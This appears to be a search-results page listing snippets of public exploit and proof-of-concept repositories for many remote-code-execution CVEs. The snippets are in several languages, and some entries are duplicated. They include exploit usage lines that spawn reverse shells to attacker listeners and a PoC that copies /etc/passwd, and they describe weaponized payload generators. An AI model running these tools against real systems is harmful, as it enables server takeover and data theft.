270039 matches found
CVE-2018-7600.
IGLOO Corp, Won Chi Hyun Drupal RCE 分析报告 Drupal RCE CVE-2018-7600 请务必将你的地址填入脚本中！ 描述： 在 Drupal 7.x 和 8.x 的多个子系统中存在一个远程代码执行漏洞。该漏洞可能允许攻击者利用 Drupal 站点的多个攻击向量，从而导致站点完全被入侵。 解决方案： 升级到 Drupal 7 或 8 核心的最新版本。 如果你正在运行 7.x，请升级到 Drupal 7.58。（如果无法立即更新，你可以尝试应用此补丁来修复漏洞，直到能够完全更新为止。）如果你正在运行 8.5.x，请升级到 Drupal...
CVE-2022-27925-Revshell
Zimbra Unauthenticated Remote Code Execution Exploit CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET, --target...
SSH-key-and-RCE-PoC-for-CVE-2021-41773
针对 CVE-2021-41773 的 SSH 密钥与 RCE PoC 此仓库包含针对 CVE-2021-41773 的概念验证（PoC）。该 CVE 暴露了本地文件包含（LFI）与远程代码执行（RCE）漏洞。 安装 确保你已安装 Go 版本 1.23.0 。 使用以下命令构建漏洞利用二进制文件： root@kitploit: go build -o exploit 使用方法 指定目标 IP ：使用 -i 参数指定目标 IP 地址（包含端口）。此为必需项 。 示例： root@kitploit: ./exploit -i 10.0.0.1:8080 指定 SSH 字典大小 ：使用 -l...
RCE-CVE-2025-3248
需认证的 CVE-2025-3248 Langflow 远程代码执行 该 Python 脚本利用 CVE-2025-3248 在易受攻击的系统上执行任意命令或生成反向 shell。 使用此漏洞利用需要身份认证 。 功能 已认证的命令执行： 在目标上运行任意系统命令。 反向 Shell： 向你的监听器生成反向 shell。 代理支持： 通过代理（例如 Burp Suite）转发请求。 环境要求 Python 3.x requests 库 使用以下命令安装依赖： root@kitploit: pip install requests 用法 root@kitploit: python3...
CVE-2024-50379
CVE-2024-50379 CVE-2024-50379 es una grave vulnerabilidad de seguridad que afecta a Apache Tomcat, permitiendo a un atacante explotar configuraciones incorrectas o debilidades para ejecución remota de código RCE. Cuando se explota, esta vulnerabilidad puede llevar a la toma de control del servido...
CVE-2021-40444
完全武器化的 CVE-2021-40444 用于利用 CVE-2021-40444（Microsoft Office Word 远程代码执行）的恶意 docx 生成器，可配合任意 DLL 文件使用。 背景 尽管互联网上已经有很多 PoC，我还是想亲自尝试武器化这个漏洞，因为我发现现有的资料缺少值得分享的有价值信息，而且微软已经为此漏洞发布了补丁。 到目前为止，我见过的能够创建完全可用的生成器的有价值资源只有： Ret2Pwn 的博客 j00sean 的推文 上述资源概述了构建完整利用链所需的许多要求。为避免重复太多不必要的信息，我只总结相关细节。 利用链 1. 打开 Docx 2...
tomcat-cluster-session-sync-exp
उपकरण केवल सुरक्षा अनुसंधान और आंतरिक ऑडिट के लिए है, अवैध हमलों के लिए इसका उपयोग प्रतिबंधित है; परिणामस्वरूप होने वाले परिणाम उपयोगकर्ता की जिम्मेदारी होंगे tomcat cluster sync-session 利用exp टॉमकैट क्लस्टर सिंक-सेशन एक्सप्लॉइट यह एक डीसीरियलाइज़ेशन भेद्यता है जो टॉमकैट के अंतर्निहित सेशन...
CVE-2023-38646
CVE-2023-38646 概念验证（PoC） 描述 这是一个用于利用 Metabase（一款开源商业智能和数据分析工具）的概念验证（PoC）脚本。Metabase 允许用户可视化并交互式地处理其数据，使其成为强大的数据分析平台。 该漏洞编号为 CVE-2023-38646，允许攻击者在无需任何身份验证的情况下在服务器上执行任意命令。此缺陷的影响十分严重，因为它以服务器的特权级别授予了对服务器的未授权访问权限。 概念验证（PoC）步骤 克隆此仓库 root@kitploit: git clone...
activemq-rce-cve-2023-46604
README 针对 CVE-2023-46604 的简单分析 https://thinkycx.me/2024-04-19-activemq-cve-2023-46604-analysis.html...
CVE-2023-51385-
通过不安全的 /.ssh/config 实现远程代码执行 在使用 SSH ProxyCommand 进行隧道和连接代理时，%h、%p 等令牌的使用非常普遍。 易受攻击的配置 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 注意：在我最初的评估中，我曾以为使用 '%h（单引号）可以避免此问题，但看起来类似这样的方式仍然存在漏洞： ssh://echo helloworld cve.txtfoo.example.com/bar...
CVE-2018-6789-Python3
CVE-2018-6789 Exim 4.90.1 Vulnerabilidad RCE Exim 4.90.1 Vulnerabilidad RCE remezcla para Python3 con argumentos pasados desde la línea de comandos Uso: python3 exim.py -t localhost -p 25 -lh 192.168.0.159 -lp 1337...
printnightmare-detection-lab
PrintNightmare 威胁检测与应急响应实验室 CVE-2021-34527 📌 概述 本项目记录了一个针对 PrintNightmare CVE-2021-34527 的端到端安全监控、检测工程与应急响应实施方案。PrintNightmare 是 Windows 打印后台处理程序服务 spoolsv.exe 中的一个严重漏洞，允许未认证的远程代码执行 RCE 以及本地权限提升 LPE 至 SYSTEM 权限。 本实验室的目标是模拟利用遥测数据，通过 Sysmon 和 Windows 安全事件日志 捕获内核与系统审计日志，将事件摄入 Splunk Enterprise SIEM...
cve-2019-11447
CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC 目标： 2.1.2 这个PoC脚本基于BobbySox 原始漏洞利用的简单实现。原始漏洞利用是Akuss 编写的MSF模块。 该脚本需要目标IP地址或域名以及凭据，它会自动登录、上传载荷、触发并捕获反弹shell。 root@kitploit: python cve-2019-11447.py -t 10.10.10.206 -u twh -p p4ssw0rd -lh 10.10.16.2 -lp 4444 -f shell...
CVE-2017-1000117
git-client-rce 此 PoC 仅用于教育目的！！！ 用于 git-client-rce PoC CVE-2017-1000117 的测试 GIT 仓库 https://marc.info/?l=git&m=150238802328673&w=2 此 CVE 影响所有版本低于 v2.14.1 的 git 客户端 在测试系统上执行以下命令以查看 PoC： $git clone --recursive https://github.com/thelastbyte/CVE-2017-1000117.git 执行成功后会将 /etc/passwd 的内容复制到 /tmp/pwned.t...
CVE-2023-4169_CVE-2023-3306_CVE-2023-4415
Ruijie-RG-EW1200G CVE-2023-4169CVE-2023-3306CVE-2023-4415 1. RG-EW1200G后台远程代码执行漏洞CVE-2023-3306 2. CVE-2023-4169 未授权任意密码修改CVE-2023-4169 3. 锐捷RG-EW1200G 登录绕过CVE-2023-4415 Atención 我开发了一个用于本地测试和POC开发的工具，仅供技术学习参考。请不要将其用于非法目的。个人或组织使用本文提供的信息所造成的任何直接或间接后果和损失均由用户自行负责，与作者无关！！！ He desarrollado una...
CVE-2026-84694
Coolify versions before 4.2.0 are affected by a remote code execution vulnerability caused by improper escaping of environment variable key names in Docker commands executed over SSH on managed servers. An authenticated attacker can inject shell metacharacters into environment variable keys, allo...
CVE-2026-84694 Coolify before 4.2.0 Remote Code Execution via Environment Variable Key
Coolify before 4.2.0 fails to properly escape environment variable key names in Docker commands executed over SSH on managed servers. Authenticated attackers can inject shell metacharacters into environment variable keys to execute arbitrary commands on the server host outside containers...
CVE-2026-84694 Coolify before 4.2.0 Remote Code Execution via Environment Variable Key
Coolify before 4.2.0 fails to properly escape environment variable key names in Docker commands executed over SSH on managed servers. Authenticated attackers can inject shell metacharacters into environment variable keys to execute arbitrary commands on the server host outside containers...
CVE-2026-84694 Coolify before 4.2.0 Remote Code Execution via Environment Variable Key
Coolify before 4.2.0 fails to properly escape environment variable key names in Docker commands executed over SSH on managed servers. Authenticated attackers can inject shell metacharacters into environment variable keys to execute arbitrary commands on the server host outside containers...